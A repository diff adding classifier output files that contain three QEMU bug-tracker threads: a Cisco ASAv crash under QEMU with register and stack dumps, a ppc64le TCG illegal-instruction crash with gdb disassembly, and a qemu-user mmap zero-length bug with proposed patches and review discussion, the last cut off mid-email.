+ + +I've converted that vmdk disk images into Qemu disks "qcow2" format and i +ran them using the below command line on Ubuntu: + +/opt/qemu/bin/qemu-system-x86_64 -L -nographic -device +e1000-82545em,netdev=net0,mac=50:00:00:6a:00:00 -netdev +tap,id=net0,ifname=vunl0_33_0,script=no -device +e1000-82545em,netdev=net1,mac=50:00:00:6a:00:01 -netdev +tap,id=net1,ifname=vunl0_33_1,script=no -device +e1000-82545em,netdev=net2,mac=50:00:00:6a:00:02 -netdev +tap,id=net2,ifname=vunl0_33_2,script=no -device +e1000-82545em,netdev=net3,mac=50:00:00:6a:00:03 -netdev +tap,id=net3,ifname=vunl0_33_3,script=no -machine type=pc-1.0 *-cpu +host,migratable=off,invtsc=on,pmu=on* -m 4096 -hda hda.qcow2 -hdb hdb.qcow2 +-serial telnet:0.0.0.0:3000,server,nowait -monitor +tcp:127.0.0.1:42379,server,nowait +-nographic -display none -enable-kvm + + +Once you power on the VM you can telnet to xx.xx.xx.xx 3000 (where the xx +IP is the Ubuntu machine IP) to see the crashing in process. You may need +to wait for a while for the status messages to appear in the terminal +window. + +I assume it's a cpu issue because in page 9 of the Vmware pdf reference +file; it says there are machine instructions become available when this +option "*monitor_control.pseudo_perfctr = TRUE*" is enabled: + +The following machine instructions then become available: + +Instruction Time Value Returned +rdpmc 0x10000 Physical host TSC +rdpmc 0x10001 Elapsed real time in ns +rdpmc 0x10002 Elapsed apparent time in ns + +Therefore, I used many of the Qemu cpu options such as these: + +-cpu host,migratable=no,+invtsc (ref: https://wiki.qemu.org/ChangeLog/2.1) +-cpu host, tsc-frequency=xxxx (ref: https://lists.gnu.org/archive/ +html/qemu-devel/2017-01/msg03555.html) + -cpu host,migratable=off,invtsc=true,pmu=true + +Not sure if i'm hitting the wrong option! + +The log I'm getting when the VM boots up looks like the following crash +happens at the blue colored log: + +---------------------------------------------------------------------------------------------------------------------------- +Loading... + +Starting image verification +Hash Computation: 100% Done! +Computed Hash SHA2: 63c1e8aa9de3d0c6e738dc91be8e1784 + 5caf64af4cf06cf6a3c5da7200d478dd + 938d380d2b1064f6a349401c7860f50e + cc4eeb98a0ae16c097dbc9447d4d6626 + +Get key records from key storage: Primary, key_store_type: 2 +Embedded Hash SHA2: 63c1e8aa9de3d0c6e738dc91be8e1784 + 5caf64af4cf06cf6a3c5da7200d478dd + 938d380d2b1064f6a349401c7860f50e + cc4eeb98a0ae16c097dbc9447d4d6626 + +The digital signature of the running image verified successfully +Processor memory 3183296512, Reserved memory: 0 + +Total NICs found: 4 +i82545EM rev03 Gigabit Ethernet @ irq10 dev 6 index 03 MAC: 5000.006a.0003 +i82545EM rev03 Gigabit Ethernet @ irq10 dev 5 index 02 MAC: 5000.006a.0002 +i82545EM rev03 Gigabit Ethernet @ irq11 dev 4 index 01 MAC: 5000.006a.0001 +i82545EM rev03 Gigabit Ethernet @ irq11 dev 3 index 00 MAC: 5000.006a.0000 + +Thread Name: lina_flash_init_thread +Page fault: Unknown + r8 0x0000000000000790 + r9 0x00007fff3fa8b000 + r10 0x0000000000000001 + r11 0x000000000210e130 + r12 0x00000000062ebfc0 + r13 0x0000000000010001 + r14 0x0000000000000000 + r15 0x00000000062ebfc0 + rdi 0x00000000062ebfc0 + rsi 0x0000000006c17c20 + rbp 0x00007fff4056f4e0 + rbx 0x00000000062ebfc0 + rdx 0x00007fff40566f10 + rax 0x0000000000000001 + rcx 0x0000000000010001 + rsp 0x00007fff4056f4b0 + rip 0x0000000001581130 + eflags 0x0000000000013202 + csgsfs 0x0000000000000033 +error code 0x0000000000000000 + vector 0x000000000000000d + old mask 0xffffffde3e3b5a05 + cr2 0x0000000000000000 + +Cisco Adaptive Security Appliance Software Version 9.3(1) + +Compiled on Wed 23-Jul-14 18:16 PDT by builders +Hardware: ASAv +Crashinfo collected on 03:42:24.059 UTC Tue Nov 28 2017 + +Traceback: +0: 0x0000000000422118 +1: 0x0000000000422152 +2: 0x0000000000424331 +3: 0x00000000015874a9 +4: 0x00007ffffecd55f0 +5: 0x0000000000558d85 +6: 0x00000000008f5a2b +7: 0x00000000008fd361 +8: 0x0000000000428a15 +Stack dump: base:0x00007fff4056f2e0 size:178, active:178 + entries above '==': return PC preceded by input parameters + entries below '==': local variables followed by saved regs + '==Fn': stack frame n, contains next stack frame + '*': stack pointer at crash + rdi rsi rdx rcx r8 r9 : Arguments 1 through 6 to leaf function + For example: + 0x00007fffeeeeef00: 0x0000000000000009 : arg9 + 0x00007fffeeeeeefc: 0x0000000000000008 : arg8 + 0x00007fffeeeeeef8: 0x0000000000000007 : arg7 + 0x00007fffeeeeeef4: 0x0000000000000abc : return PC + 0x00007fffeeeeeef0: 0x00007fffeeeeef20 ==F2: stack frame F2 + 0x00007fffeeeeeeec: 0x0000000000000def : local variable + 0x00007fffeeeeeee8: 0x0000000000000123 : local variable or saved reg + 0x00007fffeeeeeee4: 0x0000000000000456 : local variable or saved reg + 0x00007fffeeeeeee0: 0x0000000000000789 : local variable or saved reg +0x00007fff4056f870: 0x00007fff4056f7e0 +0x00007fff4056f868: 0x0000000000000000 +0x00007fff4056f860: 0x00000038a11c0123 +0x00007fff4056f858: 0x0000000000000083 +0x00007fff4056f850: 0x00007fff16a864c8 +0x00007fff4056f848: 0x0000000000000000 +0x00007fff4056f840: 0x00000000a11ccdef +0x00007fff4056f838-0x00007fff4056f808: 0x0000000000000000 +0x00007fff4056f800: 0x0000000000429867 +0x00007fff4056f7f8: 0x00007fff4056f860 +0x00007fff4056f7f0: 0x00007fff40567100 +0x00007fff4056f7e8: 0x0000000000000000 +0x00007fff4056f7e0: 0x00000030a11c0123 +0x00007fff4056f7d8: 0x0000000000000083 +0x00007fff4056f7d0: 0x00007fff16a864c8 +0x00007fff4056f7c8: 0x0000000000000000 +0x00007fff4056f7c0: 0x00000000a11ccdef +0x00007fff4056f7b8: 0x0fffffff0fffffff +0x00007fff4056f7b0-0x00007fff4056f7a8: 0x0000000000000000 +0x00007fff4056f7a0: 0x00000000062cc8a0 +0x00007fff4056f798: 0x0000000000000000 +0x00007fff4056f790: 0x00007fff4056f6e0 +0x00007fff4056f788: 0x00007fff4056f758 +0x00007fff4056f780: 0x0000000000000000 +0x00007fff4056f778: 0x00007fff3ff48620 +0x00007fff4056f770-0x00007fff4056f730: 0x0000000000000000 +0x00007fff4056f728: 0x0000000004d14940 +0x00007fff4056f720: 0x000000000041d690 +0x00007fff4056f718: 0x0000000002777640 +0x00007fff4056f710: 0x0000000200010010 +0x00007fff4056f708: 0x0000000006c17d40 +0x00007fff4056f700: 0x00007fff4056f6e0 +0x00007fff4056f6f8: 0x00007fff40150e80 +0x00007fff4056f6f0: 0x000000000638e598 +0x00007fff4056f6e8: 0x00007fff3ff48620 +0x00007fff4056f6e0: 0x00007fff4056f778 +0x00007fff4056f6d8: 0x00000000deadfeed +0x00007fff4056f6d0-0x00007fff4056f6c8: 0x0000000000000000 +0x00007fff4056f6c0: 0x000000000041e1f6 +0x00007fff4056f6b8: 0x00007fff40571fd0 +0x00007fff4056f6b0: 0x00007fff40560cf0 +0x00007fff4056f6a8: 0x0000000000000000 +0x00007fff4056f6a0: 0x000000f0a11c0123 +0x00007fff4056f698: 0x0000000000000143 +0x00007fff4056f690: 0x00007fff16a864c8 +0x00007fff4056f688: 0x0000000000000000 +0x00007fff4056f680: 0x00000000a11ccdef +0x00007fff4056f678-0x00007fff4056f660: 0x0000000000000000 ==F5 +0x00007fff4056f658: 0x000000009abcdef0 +0x00007fff4056f650-0x00007fff4056f5b8: 0x123456789abcdef0 +0x00007fff4056f5b0: 0x0000000000428a01 +0x00007fff4056f5a8: 0x00007fff4056f570 +0x00007fff4056f5a0-0x00007fff4056f590: 0x0000000000000000 +0x00007fff4056f588: 0xffffffffffffdf98 +0x00007fff4056f580: 0x00007fff4056f670 +0x00007fff4056f578: 0x00007fff3ff48370 +0x00007fff4056f570: 0x0000000000000000 +0x00007fff4056f568: 0x0000000000428a15 +0x00007fff4056f560: 0x00007fff4056f670 ==F4 +0x00007fff4056f558: 0x00000000008fd361 +0x00007fff4056f550: 0x00007fff4056f560 ==F3 +0x00007fff4056f548: 0x00000000008f5a2b +0x00007fff4056f540: 0x00007fff4056f550 ==F2 +0x00007fff4056f538: 0x0000000000000000 +0x00007fff4056f530: 0xffffffffffffdf98 +0x00007fff4056f528: 0x00007fff3ff48370 +0x00007fff4056f520: 0x00000000008fba90 +0x00007fff4056f518: 0x00000000008fb908 +0x00007fff4056f510: 0x00007fff4056f550 +0x00007fff4056f508: 0x00000000008fb87e +0x00007fff4056f500: 0x00007fff4056f510 +0x00007fff4056f4f8: 0x0000000000000000 +0x00007fff4056f4f0: 0xffffffffffffdf98 +0x00007fff4056f4e8: 0x0000000000558d85 +0x00007fff4056f4e0: 0x00007fff4056f540 ==F1 +0x00007fff4056f4d8-0x00007fff4056f4d0: 0x0000000000000000 +0x00007fff4056f4c8: 0x0000000000000001 +0x00007fff4056f4c0-0x00007fff4056f4b8: 0x00000000062ebfc0 +0x00007fff4056f4b0: 0x0000000000000000 * +0x00007fff4056f4a8: 0x00000000008fd973 +0x00007fff4056f4a0: 0x00007fff4056f4d0 +0x00007fff4056f498: 0x00007fff40563908 +0x00007fff4056f490: 0x00007fff4056f4d0 +0x00007fff4056f488: 0x00000000009d4b01 +0x00007fff4056f480: 0x00007fff4056f4a0 +0x00007fff4056f478-0x00007fff4056f470: 0x0000000000000000 +0x00007fff4056f468: 0x00007fff418d6390 +0x00007fff4056f460: 0x0000000000000000 +0x00007fff4056f458: 0x000000000201b9f8 +0x00007fff4056f450: 0x00007fff4056f480 +0x00007fff4056f448: 0x00007fff40563908 +0x00007fff4056f440: 0x0000000000000001 +0x00007fff4056f438: 0x00007fff405619a0 +0x00007fff4056f430: 0x00007fff40563908 +0x00007fff4056f428: 0x0000000000000001 +0x00007fff4056f420: 0x0000000000000000 +0x00007fff4056f418: 0x0000000001627125 +0x00007fff4056f410: 0x00007fff4056f450 +0x00007fff4056f408: 0x00007fff3fa8b010 +0x00007fff4056f400: 0x00007fff46505845 +0x00007fff4056f3f8-0x00007fff4056f3c8: 0x0000000000000000 +0x00007fff4056f3c0: 0x0000000000000003 +0x00007fff4056f3b8-0x00007fff4056f3a8: 0x0000000000000000 +0x00007fff4056f3a0: 0x0000000000000240 +0x00007fff4056f398: 0x0000000000000003 +0x00007fff4056f390: 0x0000024446505853 +0x00007fff4056f388-0x00007fff4056f310: 0x0000000000000000 +0x00007fff4056f308: 0x424b7e25fece8fc2 +0x00007fff4056f300: 0x2cc4f98473045e95 +0x00007fff4056f2f8: 0x18fa9b6c57ca0e78 +0x00007fff4056f2f0: 0x081e2a254ab96aa4 +0x00007fff4056f2e8: 0x0000000300000000 + +Begin to dump crashinfo to flash.... + +core0: An internal error occurred. Specifically, a programming assertion +was +violated. Copy the error message exactly as it appears, and get the +output of the show version command and the contents of the configuration +file. Then call your technical support representative. + +assertion "_vf_mode_init" failed: file "vf_api.c", line 136 +core0 same core snap_count=1 signo=6 RIP=7ffffecd43fb + + +----------------------------------------------- +Traceback output aborted. +Flushing first exception frame: +Page fault: Unknown + r8 0x0000000000000790 + r9 0x00007fff3fa8b000 + r10 0x0000000000000001 + r11 0x000000000210e130 + r12 0x00000000062ebfc0 + r13 0x0000000000010001 + r14 0x0000000000000000 + r15 0x00000000062ebfc0 + rdi 0x00000000062ebfc0 + rsi 0x0000000006c17c20 + rbp 0x00007fff4056f4e0 + rbx 0x00000000062ebfc0 + rdx 0x00007fff40566f10 + rax 0x0000000000000001 + rcx 0x0000000000010001 + rsp 0x00007fff4056f4b0 + rip 0x0000000001581130 + eflags 0x0000000000013202 + csgsfs 0x0000000000000033 +error code 0x0000000000000000 + vector 0x000000000000000d + old mask 0xffffffde3e3b5a05 + cr2 0x0000000000000000 +Nested traceback attempted via signal, from: +Abort: Unknown + r8 0x000000000000003c + r9 0x0000000005097a27 + r10 0x00007fff4056de28 + r11 0x0000000000003206 + r12 0x0000000000000001 + r13 0x00007fff4056df80 + r14 0x0000000000000000 + r15 0x0000000000000006 + rdi 0x0000000000000008 + rsi 0x00007fff4056df80 + rbp 0x00007fff4056dfc0 + rbx 0x00007fff29f6b780 + rdx 0x0000000000000010 + rax 0x0000000000000010 + rcx 0xffffffffffffffff + rsp 0x00007fff4056df50 + rip 0x00007ffffecd43fb + eflags 0x0000000000003206 + csgsfs 0x1234000000000033 +error code 0x0000000000000000 + vector 0x000000000000000d + old mask 0xffffffde3e3b5a05 + cr2 0x0000000000000000 + +Cisco Adaptive Security Appliance Software Version 9.3(1) + +Compiled on Wed 23-Jul-14 18:16 PDT by builders +Hardware: ASAv +Crashinfo collected on 03:42:24.059 UTC Tue Nov 28 2017 + +Traceback: +0: 0x0000000000422118 +1: 0x00000000004221f8 +2: 0x000000000042226d +3: 0x0000000001587076 +4: 0x00007ffffecd55f0 +5: 0x00000000015820a0 +6: 0x000000000212d482 +7: 0x000000000139f304 +8: 0x000000000213f315 +9: 0x0000000001460873 +10: 0x0000000001488625 +11: 0x0000000000423e7a +12: 0x00000000004244dc +13: 0x00000000015874a9 +14: 0x00007ffffecd55f0 +15: 0x0000000000558d85 +16: 0x00000000008f5a2b +17: 0x00000000008fd361 +18: 0x0000000000428a15 +----------------------------------------------- +Process shutdown finished +Rebooting..... + +Thanks in advance for your help! :) + +Regards, +Abdullah Alhaddad + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +not resolved + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/180 + + diff --git a/results/classifier/deepseek-1/output/register./1776096 b/results/classifier/deepseek-1/output/register./1776096 new file mode 100644 index 00000000..82f53b3c --- /dev/null +++ b/results/classifier/deepseek-1/output/register./1776096 @@ -0,0 +1,84 @@ + +qemu 2.12.0 qemu-system-ppc illegal instruction on ppc64le, crashes emulator + +% uname -a +Linux tim.floodgap.com 4.16.14-300.fc28.ppc64le #1 SMP Tue Jun 5 15:59:48 UTC 2018 ppc64le ppc64le ppc64le GNU/Linux + +STR: +Start QEMU and boot Mac OS X 10.4.11. +Download the current version of TenFourFox (I used G3 so that AltiVec was not a confounder). +Try to start TenFourFox in safe mode (hold down Option as you double-click while the icon bounces in the Dock). + +Expected: +TenFourFox starts. + +Actual: +The entire emulator exits with an illegal instruction error. + +Trace of session (including some disassembly so you can see where TCG went wrong): + +tim:/home/spectre/src/qemu-2.12.0/ppc-softmmu/% gdb --args ./qemu-system-ppc -M mac99,accel=tcg -m 2048 -prom-env boot-args=-v -boot c -drive file=tigerhd.img,format=raw,cache=none -netdev user,id=mynet0 -device usb-net,netdev=mynet0 -usb -device usb-tablet + +GNU gdb (GDB) Fedora 8.1-15.fc28 +[...] +Reading symbols from ./qemu-system-ppc...done. +(gdb) run +[...] + +Thread 6 "qemu-system-ppc" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7ffff242ea30 (LWP 7017)] +0xfffffffffffffffc in ?? () +#0 0xfffffffffffffffc in () +#1 0x00007fffd4edec00 in code_gen_buffer () +#2 0x00000000100c9e20 in cpu_tb_exec (itb=<optimized out>, cpu=<optimized out>) at /home/spectre/src/qemu-2.12.0/accel/tcg/cpu-exec.c:169 +#3 0x00000000100c9e20 in cpu_loop_exec_tb (tb_exit=<synthetic pointer>, last_tb=<synthetic pointer>, tb=<optimized out>, cpu=<optimized out>) + at /home/spectre/src/qemu-2.12.0/accel/tcg/cpu-exec.c:626 +#4 0x00000000100c9e20 in cpu_exec (cpu=<optimized out>) + at /home/spectre/src/qemu-2.12.0/accel/tcg/cpu-exec.c:734 +#5 0x000000001007decc in tcg_cpu_exec (cpu=0x11774e10) + at /home/spectre/src/qemu-2.12.0/cpus.c:1362 +(gdb) disas 0x00007fffd4edebf0, 0x00007fffd4edec10 +Dump of assembler code from 0x7fffd4edebf0 to 0x7fffd4edec10: + 0x00007fffd4edebf0 <code_gen_buffer+284027700>: addi r0,r4,3 + 0x00007fffd4edebf4 <code_gen_buffer+284027704>: rlwinm r0,r0,0,0,19 + 0x00007fffd4edebf8 <code_gen_buffer+284027708>: cmplw cr7,r0,r12 + 0x00007fffd4edebfc <code_gen_buffer+284027712>: bnel cr7,0x7fffd4ed8b64 <code_gen_buffer+284002984> + 0x00007fffd4edec00 <code_gen_buffer+284027716>: lwbrx r14,r3,r4 + 0x00007fffd4edec04 <code_gen_buffer+284027720>: stw r14,40(r27) + 0x00007fffd4edec08 <code_gen_buffer+284027724>: clrldi r4,r14,32 + 0x00007fffd4edec0c <code_gen_buffer+284027728>: rlwinm r3,r4,25,19,26 +End of assembler dump. +(gdb) disas 0x7fffd4ed8b60, 0x7fffd4ed8b70 +Dump of assembler code from 0x7fffd4ed8b60 to 0x7fffd4ed8b70: + 0x00007fffd4ed8b60 <code_gen_buffer+284002980>: bctrl + 0x00007fffd4ed8b64 <code_gen_buffer+284002984>: mtctr r3 + 0x00007fffd4ed8b68 <code_gen_buffer+284002988>: mr r31,r3 + 0x00007fffd4ed8b6c <code_gen_buffer+284002992>: li r3,0 +End of assembler dump. +(gdb) i reg ctr +ctr 0xffffffffffffffff 18446744073709551615 + +It appears that the branch at 0x00007fffd4edebfc caused a jump back (a return?) through CTR, but CTR has -1 in it, hence setting PC to 0xfffffffffffffffc. I am not sure how to debug this further. + +Sorry, more complete disassembly of the apparent actual fault: + + 0x00007fffd4ed8b64 <code_gen_buffer+284002984>: mtctr r3 + 0x00007fffd4ed8b68 <code_gen_buffer+284002988>: mr r31,r3 + 0x00007fffd4ed8b6c <code_gen_buffer+284002992>: li r3,0 + 0x00007fffd4ed8b70 <code_gen_buffer+284002996>: bctr + + +Hi, Cameron. + +The step "Start QEMU and boot Mac OS X 10.4.11" is not clear to me. Is there a location where one could download such image and boot? + +I wonder how one without access to a Mac image can reproduce this issue. + +Cheers +Murilo + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/release./1783362 b/results/classifier/deepseek-1/output/release./1783362 new file mode 100644 index 00000000..437a0e25 --- /dev/null +++ b/results/classifier/deepseek-1/output/release./1783362 @@ -0,0 +1,923 @@ + +qemu-user: mmap should return failure (MAP_FAILED, -1) instead of success (NULL, 0) when len==0 + +As shown in https://github.com/beehive-lab/mambo/issues/19#issuecomment-407420602, with len==0 mmap returns success (NULL, 0) instead of failure (MAP_FAILED, -1) in a x86_64 host executing a ELF 64-bit LSB executable, ARM aarch64 binary. + +Steps to reproduce the bug: + +- (cross-)compile the attached source file: + +$ aarch64-linux-gnu-gcc -static -std=gnu99 -lpthread test/mmap_qemu.c -o mmap_qemu + +- Execute in a x86_64 host with qemu-user and qemu-user-binfmt: + +$ ./mmap_qemu +alloc: 0 +MAP_FAILED: -1 +errno: 0 +mmap_qemu: test/mmap_qemu.c:15: main: Assertion `alloc == MAP_FAILED' failed. +qemu: uncaught target signal 6 (Aborted) - core dumped +Aborted (core dumped) + +- Execute in a ARM host without any additional dependecy: + +$ ./mmap_qemu +alloc: -1 +MAP_FAILED: -1 +errno: 22 + +The bug is present in Fedora: + +$ qemu-aarch64 --version +qemu-aarch64 version 2.11.2(qemu-2.11.2-1.fc28) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers +$ uname -r +4.17.7-200.fc28.x86_64 + +And also in Ubuntu: + +$ qemu-aarch64 --version +qemu-aarch64 version 2.12.0 (Debian 1:2.12+dfsg-3ubuntu3) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers +$ uname -r +4.15.0-23-generic + +Possibly related to: + +- https://lists.freebsd.org/pipermail/freebsd-hackers/2009-July/029109.html +- https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=203852 + + + +I did some research and found that this bug is present since 2003: + +- 2003/05/13: https://github.com/qemu/qemu/commit/54936004fddc52c321cb3f9a9a51140e782bed5d#diff-2bf4728e0473404c39c97190bd02b2f8 + - https://github.com/qemu/qemu/blob/54936004fddc52c321cb3f9a9a51140e782bed5d/linux-user/mmap.c#L182-L183 +- 2008/06/02: https://github.com/qemu/qemu/commit/c8a706fe6242a553960ccc3071a4e75ceba6f3d2#diff-2bf4728e0473404c39c97190bd02b2f8 + - https://github.com/qemu/qemu/blob/c8a706fe6242a553960ccc3071a4e75ceba6f3d2/linux-user/mmap.c#L284-L285 + - https://github.com/qemu/qemu/blob/c8a706fe6242a553960ccc3071a4e75ceba6f3d2/linux-user/mmap.c#L400-L410 + +It is present in versions 2.11.2, 2.12.0 and master: + +- https://github.com/qemu/qemu/blob/v2.11.2/linux-user/mmap.c#L401-L402 +- https://github.com/qemu/qemu/blob/v2.12.0/linux-user/mmap.c#L401-L402 +- https://github.com/qemu/qemu/blob/master/linux-user/mmap.c#L400-L401 + +I think that a possible fix is: + +@@ -397,8 +397,10 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, + } + + len = TARGET_PAGE_ALIGN(len); +- if (len == 0) +- goto the_end; ++ if (len == 0) { ++ errno = EINVAL; ++ goto fail; ++ } + real_start = start & qemu_host_page_mask; + host_offset = offset & qemu_host_page_mask; + +Following https://wiki.qemu.org/Contribute/SubmitAPatch#Make_code_motion_patches_easy_to_review: + +@@ -1,5 +1,5 @@ +--- +--- a/linux-user/mmap.c +- if (len == 0) +- goto the_end; +-- ++++ b/linux-user/mmap.c ++ if (len == 0) { ++ errno = EINVAL; ++ goto fail; ++ } + + +I've slightly re-organised the check to more closely match the +sequence that the kernel uses in do_mmap(). + +Signed-off-by: Alex Bennée <email address hidden> +Cc: umarcor <email address hidden> +--- + linux-user/mmap.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/linux-user/mmap.c b/linux-user/mmap.c +index d0c50e4888..3ef69fa2d0 100644 +--- a/linux-user/mmap.c ++++ b/linux-user/mmap.c +@@ -391,14 +391,22 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, + } + #endif + +- if (offset & ~TARGET_PAGE_MASK) { ++ if (!len) { + errno = EINVAL; + goto fail; + } + + len = TARGET_PAGE_ALIGN(len); +- if (len == 0) +- goto the_end; ++ if (!len) { ++ errno = EINVAL; ++ goto fail; ++ } ++ ++ if (offset & ~TARGET_PAGE_MASK) { ++ errno = EINVAL; ++ goto fail; ++ } ++ + real_start = start & qemu_host_page_mask; + host_offset = offset & qemu_host_page_mask; + +-- +2.17.1 + + + +This adds a test to make sure we fail properly for a 0 length mmap. +There are most likely other failure conditions we should also check. + +Signed-off-by: Alex Bennée <email address hidden> +Cc: umarcor <email address hidden> +--- + tests/tcg/multiarch/test-mmap.c | 16 +++++++++++++++- + 1 file changed, 15 insertions(+), 1 deletion(-) + +diff --git a/tests/tcg/multiarch/test-mmap.c b/tests/tcg/multiarch/test-mmap.c +index 5c0afe6e49..7f62eba4e9 100644 +--- a/tests/tcg/multiarch/test-mmap.c ++++ b/tests/tcg/multiarch/test-mmap.c +@@ -27,7 +27,7 @@ + #include <stdint.h> + #include <string.h> + #include <unistd.h> +- ++#include <errno.h> + #include <sys/mman.h> + + #define D(x) +@@ -435,6 +435,19 @@ void checked_write(int fd, const void *buf, size_t count) + fail_unless(rc == count); + } + ++void check_invalid_mmaps(void) ++{ ++ unsigned char *addr; ++ ++ /* Attempt to map a zero length page. */ ++ addr = mmap(NULL, 0, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ++ fprintf(stdout, "%s addr=%p", __func__, (void *)addr); ++ fail_unless(addr == MAP_FAILED); ++ fail_unless(errno == EINVAL); ++ ++ fprintf(stdout, " passed\n"); ++} ++ + int main(int argc, char **argv) + { + char tempname[] = "/tmp/.cmmapXXXXXX"; +@@ -476,6 +489,7 @@ int main(int argc, char **argv) + check_file_fixed_mmaps(); + check_file_fixed_eof_mmaps(); + check_file_unfixed_eof_mmaps(); ++ check_invalid_mmaps(); + + /* Fails at the moment. */ + /* check_aligned_anonymous_fixed_mmaps_collide_with_host(); */ +-- +2.17.1 + + + +Le 26/07/2018 à 15:29, Alex Bennée a écrit : +> I've slightly re-organised the check to more closely match the +> sequence that the kernel uses in do_mmap(). +> +> Signed-off-by: Alex Bennée <email address hidden> +> Cc: umarcor <email address hidden> +> --- +> linux-user/mmap.c | 14 +++++++++++--- +> 1 file changed, 11 insertions(+), 3 deletions(-) +> +> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +> index d0c50e4888..3ef69fa2d0 100644 +> --- a/linux-user/mmap.c +> +++ b/linux-user/mmap.c +> @@ -391,14 +391,22 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +> } +> #endif +> +> - if (offset & ~TARGET_PAGE_MASK) { +> + if (!len) { +> errno = EINVAL; +> goto fail; +> } +> +> len = TARGET_PAGE_ALIGN(len); +> - if (len == 0) +> - goto the_end; +> + if (!len) { +> + errno = EINVAL; +> + goto fail; +> + } + +Why do you check twice len? +TARGET_PAGE_ALIGN() rounds up the value, so if it was not 0, it cannot +be now. + +Thanks, +Laurent + + + +Laurent Vivier <email address hidden> writes: + +> Le 26/07/2018 à 15:29, Alex Bennée a écrit: +>> I've slightly re-organised the check to more closely match the +>> sequence that the kernel uses in do_mmap(). +>> +>> Signed-off-by: Alex Bennée <email address hidden> +>> Cc: umarcor <email address hidden> +>> --- +>> linux-user/mmap.c | 14 +++++++++++--- +>> 1 file changed, 11 insertions(+), 3 deletions(-) +>> +>> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +>> index d0c50e4888..3ef69fa2d0 100644 +>> --- a/linux-user/mmap.c +>> +++ b/linux-user/mmap.c +>> @@ -391,14 +391,22 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +>> } +>> #endif +>> +>> - if (offset & ~TARGET_PAGE_MASK) { +>> + if (!len) { +>> errno = EINVAL; +>> goto fail; +>> } +>> +>> len = TARGET_PAGE_ALIGN(len); +>> - if (len == 0) +>> - goto the_end; +>> + if (!len) { +>> + errno = EINVAL; +>> + goto fail; +>> + } +> +> Why do you check twice len? +> TARGET_PAGE_ALIGN() rounds up the value, so if it was not 0, it cannot +> be now. + +I was trying to follow the kernel style but I realise TARGET_PAGE_ALIGN +might be a different test compared to the kernel's PAGE_ALIGN(len) for +overflows: + + if (!len) + return -EINVAL; + + /* + * Does the application expect PROT_READ to imply PROT_EXEC? + * + * (the exception is when the underlying filesystem is noexec + * mounted, in which case we dont add PROT_EXEC.) + */ + if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC)) + if (!(file && path_noexec(&file->f_path))) + prot |= PROT_EXEC; + + /* force arch specific MAP_FIXED handling in get_unmapped_area */ + if (flags & MAP_FIXED_NOREPLACE) + flags |= MAP_FIXED; + + if (!(flags & MAP_FIXED)) + addr = round_hint_to_min(addr); + + /* Careful about overflows.. */ + len = PAGE_ALIGN(len); + if (!len) + return -ENOMEM; + + +> +> Thanks, +> Laurent + + +-- +Alex Bennée + + +Le 26/07/2018 à 19:58, Alex Bennée a écrit : +> +> Laurent Vivier <email address hidden> writes: +> +>> Le 26/07/2018 à 15:29, Alex Bennée a écrit: +>>> I've slightly re-organised the check to more closely match the +>>> sequence that the kernel uses in do_mmap(). +>>> +>>> Signed-off-by: Alex Bennée <email address hidden> +>>> Cc: umarcor <email address hidden> +>>> --- +>>> linux-user/mmap.c | 14 +++++++++++--- +>>> 1 file changed, 11 insertions(+), 3 deletions(-) +>>> +>>> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +>>> index d0c50e4888..3ef69fa2d0 100644 +>>> --- a/linux-user/mmap.c +>>> +++ b/linux-user/mmap.c +>>> @@ -391,14 +391,22 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +>>> } +>>> #endif +>>> +>>> - if (offset & ~TARGET_PAGE_MASK) { +>>> + if (!len) { +>>> errno = EINVAL; +>>> goto fail; +>>> } +>>> +>>> len = TARGET_PAGE_ALIGN(len); +>>> - if (len == 0) +>>> - goto the_end; +>>> + if (!len) { +>>> + errno = EINVAL; +>>> + goto fail; +>>> + } +>> +>> Why do you check twice len? +>> TARGET_PAGE_ALIGN() rounds up the value, so if it was not 0, it cannot +>> be now. +> +> I was trying to follow the kernel style but I realise TARGET_PAGE_ALIGN +> might be a different test compared to the kernel's PAGE_ALIGN(len) for +> overflows: +... +> /* Careful about overflows.. */ +> len = PAGE_ALIGN(len); +> if (!len) +> return -ENOMEM; +> + + +OK, so keep it but you should use ENOMEM, not EINVAL (and add a comment :) ) + +Thanks, +Laurent + + +Will do, thanks! + +On Thu, 26 Jul 2018 at 19:12, Laurent Vivier <email address hidden> wrote: + +> Le 26/07/2018 à 19:58, Alex Bennée a écrit : +> > +> > Laurent Vivier <email address hidden> writes: +> > +> >> Le 26/07/2018 à 15:29, Alex Bennée a écrit: +> >>> I've slightly re-organised the check to more closely match the +> >>> sequence that the kernel uses in do_mmap(). +> >>> +> >>> Signed-off-by: Alex Bennée <email address hidden> +> >>> Cc: umarcor <email address hidden> +> >>> --- +> >>> linux-user/mmap.c | 14 +++++++++++--- +> >>> 1 file changed, 11 insertions(+), 3 